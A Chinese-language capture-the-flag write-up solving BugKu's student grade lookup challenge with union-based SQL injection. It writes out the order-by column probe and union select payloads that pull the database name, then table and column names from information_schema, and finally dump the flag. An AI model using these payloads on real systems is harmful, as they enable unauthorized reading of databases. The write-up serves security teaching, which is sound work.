BugKu学生成绩查询 详解 SQL注入

根据测试,源代码伪代码如下:



1’ order by 4#返回正常,
输入1’ order by 5#返回异常。
(按照sql的语法#起注释作用,所以#后面的单引号就被注释掉了)
当数字等于5的时候报错,
那说明当前表只有4个字段并且只有4列。

接下来就开始暴库名、表名、字段名。

首先爆库名:通过id=-1’ union select 1,2,3,database()#
执行的SQL语句:
SELECT * from “.$TableName.”
where id = ‘-1’ union
select 1,2,3,database()#’

database()将会返回当前网站所使用的数据库名字
user()将会返回执行当前查询的用户名
version() 获取当前数据库版本

得到数据库名字skctf_flag

然后爆表:
information_schema 是 MySQL 自带的一张表,
这张数据表保存了 MySQL 服务器所有数据库的信息,
如数据库名,数据库的表,表栏的数据类型与访问权限等。
该数据库拥有一个名为 tables 的数据表,
该表包含两个字段 table_name 和 table_schema,
分别记录 DBMS 中的存储的表名和表名所在的数据库。

group_concat语法:
功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。

通过使用
id=-1’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#

执行的SQL语句:
SELECT * from “.$TableName.”
where id = ‘-1’ union
select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#’

得到表名:fl4g,sc

接下来暴字段:
通过id=-1’ union select 1,2,3,group_concat(column_name)
from information_schema.columns
where table_name=‘fl4g’#

得到字段skctf_flag

查询数据,通过使用:
id=-1’ union select 1,2,3,skctf_flag from fl4g#

得到flag

你可能感兴趣的:(数据库,WEB渗透)